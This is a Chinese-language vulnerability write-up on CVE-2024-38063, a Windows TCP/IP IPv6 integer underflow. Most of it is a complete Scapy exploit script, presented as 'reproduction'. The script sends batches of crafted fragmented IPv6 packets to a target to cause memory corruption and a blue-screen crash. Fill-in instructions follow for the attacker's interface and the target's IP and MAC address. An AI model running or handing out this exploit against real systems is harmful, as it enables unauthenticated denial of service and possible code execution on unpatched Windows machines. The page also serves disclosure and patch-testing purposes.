Windows TCP/IP IPv6远程拒绝服务/代码执行漏洞(CVE-2024-38063)
一、漏洞简介
Windows TCP/IP 远程代码执行漏洞(CVE-2024-38063),Windows TCP/IP 组件中发现了一个整数下溢漏洞,可能会触发缓冲区溢出。未经身份验证的远程攻击者可以通过发送特制的 IPv6 数据包到目标Windows系统机器导致目标蓝屏崩溃,精心构造请求理论上存在远程代码执行的可能性。该漏洞影响了所有受 IPv6 支持的 Windows 版本,包括即将发布的 Windows 11 版本 24H2。禁用 IPv6 的系统不受此漏洞的影响,但对于启用 IPv6 的系统,存在很大的利用风险。
二、影响版本
启用 IPv6 的系统
三、漏洞复现
from scapy.all import *
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
def get_packets_with_mac(i):
frag_id = 0xdebac1e + i
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
def get_packets(i):
if mac_addr != '':
return get_packets_with_mac(i)
frag_id = 0xdebac1e + i
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
final_ps = []
for _ in range(num_batches):
for i in range(num_tries):
final_ps += get_packets(i) + get_packets(i)
print("Sending packets")
if mac_addr != '':
sendp(final_ps, iface)
else:
send(final_ps, iface)
for i in range(60):
print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
time.sleep(1)
print("")
iface填攻击机网卡名
ip_addr填目标机器IP
mac_addr填目标机器mac,mac地址的-改为:填入